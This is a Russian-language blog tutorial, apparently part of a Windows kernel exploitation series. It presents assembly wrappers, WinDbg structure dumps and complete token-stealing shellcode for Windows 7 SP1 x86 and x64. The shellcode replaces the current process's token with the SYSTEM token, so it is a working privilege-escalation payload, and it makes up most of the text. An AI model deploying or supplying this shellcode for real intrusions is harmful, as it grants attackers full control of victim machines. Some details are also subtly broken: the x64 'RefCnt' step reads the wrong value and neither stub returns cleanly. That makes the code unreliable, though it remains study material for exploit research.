Этот пост посвящен полезным нагрузкам, которые будут использоваться в следующих частях.
Автор: Mohamed Shahat
Этот пост посвящен полезным нагрузкам, которые будут использоваться в следующих частях.
Весь код находится в моем репозитории.
Некоторые замечания
Руководство по настройке проекта в Visual Studio для записи встроенного ассемблерного x64-кода.
Существуют другие альтернативы:
Базовая обертка полезной нагрузки для x86
.386
.model flat, c ; cdecl / stdcall
ASSUME FS:NOTHING
.code
PUBLIC PAYLOAD
PAYLOAD proc
; Payload here
PAYLOAD ENDP
end
Базовая обертка полезной нагрузки для x64
.code
PUBLIC PAYLOAD
PAYLOAD proc
; Payload here
PAYLOAD ENDP
end
Краткое описание внутреннего устройства процесса
kd> !process 0 0 explorer.exe
PROCESS ffff9384fb0c35c0
SessionId: 1 Cid: 0fc4 Peb: 00bc3000 ParentCid: 0fb4
DirBase: 3a1df000 ObjectTable: ffffaa88aa0de500 HandleCount: 1729.
Image: explorer.exe
kd> .process /i ffff9384fb0c35c0
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
kd> g
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:
fffff802`80002c60 cc int 3
kd> !peb
PEB at 0000000000bc3000
InheritedAddressSpace: No
ReadImageFileExecOptions: No
...
Полезная нагрузка для кражи токена
Представьте себе, что мы умеем запускать любой код с целью замены токена текущего процесса на более привилегированный токен, с чего бы мы начали? Первая мысль, которая приходит в голову – PCR, поскольку местонахождение этой структуры не меняется. При помощи WinDBG мы сможем найти структуру EPROCESS текущего процесса и произвести замену токена на токен процесса System (PID 4).
PCR имеет фиксированное расположение (gs:[0] и fs:[0] для x64/x86)
kd> dt nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 GdtBase : Ptr64 _KGDTENTRY64
+0x008 TssBase : Ptr64 _KTSS64
+0x010 UserRsp : Uint8B
+0x018 Self : Ptr64 _KPCR
+0x020 CurrentPrcb : Ptr64 _KPRCB
+0x028 LockArray : Ptr64 _KSPIN_LOCK_QUEUE
+0x030 Used_Self : Ptr64 Void
+0x038 IdtBase : Ptr64 _KIDTENTRY64
+0x040 Unused : [2] Uint8B
+0x050 Irql : UChar
+0x051 SecondLevelCacheAssociativity : UChar
+0x052 ObsoleteNumber : UChar
+0x053 Fill0 : UChar
+0x054 Unused0 : [3] Uint4B
+0x060 MajorVersion : Uint2B
+0x062 MinorVersion : Uint2B
+0x064 StallScaleFactor : Uint4B
+0x068 Unused1 : [3] Ptr64 Void
+0x080 KernelReserved : [15] Uint4B
+0x0bc SecondLevelCacheSize : Uint4B
+0x0c0 HalReserved : [16] Uint4B
+0x100 Unused2 : Uint4B
+0x108 KdVersionBlock : Ptr64 Void
+0x110 Unused3 : Ptr64 Void
+0x118 PcrAlign1 : [24] Uint4B
+0x180 Prcb : _KPRCB <====
kd> dt nt!_KPRCB
+0x000 MxCsr : Uint4B
+0x004 LegacyNumber : UChar
+0x005 ReservedMustBeZero : UChar
+0x006 InterruptRequest : UChar
+0x007 IdleHalt : UChar
+0x008 CurrentThread : Ptr64 _KTHREAD <====
Адрес EPROCESS находится практически в том же месте: _KTHREAD.ApcState.Process.
Используя связанный список _EPROCESS.ActiveProcessLinks.Flink, мы может переходить между процессами итеративным путем. Во время каждой итерации нужно проверять, не равен ли UniqueProcessId числу 4, которое соответствует PID’у процесса System.
После нахождения заменяем токен текущего процесса на токен процесса SYSTEM.
Обратите внимание, что значение поля Token принадлежит типу _EX_FAST_REF, и младшие 4 бита не являются частью токена.
kd> dt _EX_FAST_REF
ntdll!_EX_FAST_REF
+0x000 Object : Ptr64 Void
+0x000 RefCnt : Pos 0, 4 Bits
+0x000 Value : Uint8B
Обычно при замене токена это значение нужно сохранять, однако я не сталкивался с какими-либо проблемами при заменах.
Полезная нагрузка для кражи токенов под Windows 7 x86 SP1
.386
.model flat, c ; cdecl / stdcall
ASSUME FS:NOTHING
.code
PUBLIC StealToken
StealToken proc
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, DWORD PTR fs:[eax + 124h] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]
mov eax, [eax + 50h] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, 04h ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0B8h] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0B8h
cmp[eax + 0B4h], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + 0F8h] ; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + 0F8h], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
StealToken ENDP
end
Полезная нагрузка для кражи токенов под Windows 7 x64
.code
PUBLIC GetToken
GetToken proc
; Start of Token Stealing Stub
xor rax, rax ; Set ZERO
mov rax, gs:[rax + 188h] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at GS : [0x188]
mov rax, [rax + 70h] ; Get nt!_KTHREAD.ApcState.Process
mov rcx, rax ; Copy current process _EPROCESS structure
mov r11, rcx ; Store Token.RefCnt
and r11, 7
mov rdx, 4h ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov rax, [rax + 188h] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 188h
cmp[rax + 180h], rdx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov rdx, [rax + 208h] ; Get SYSTEM process nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h
or rdx, r11
mov[rcx + 208h], rdx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
GetToken ENDP
end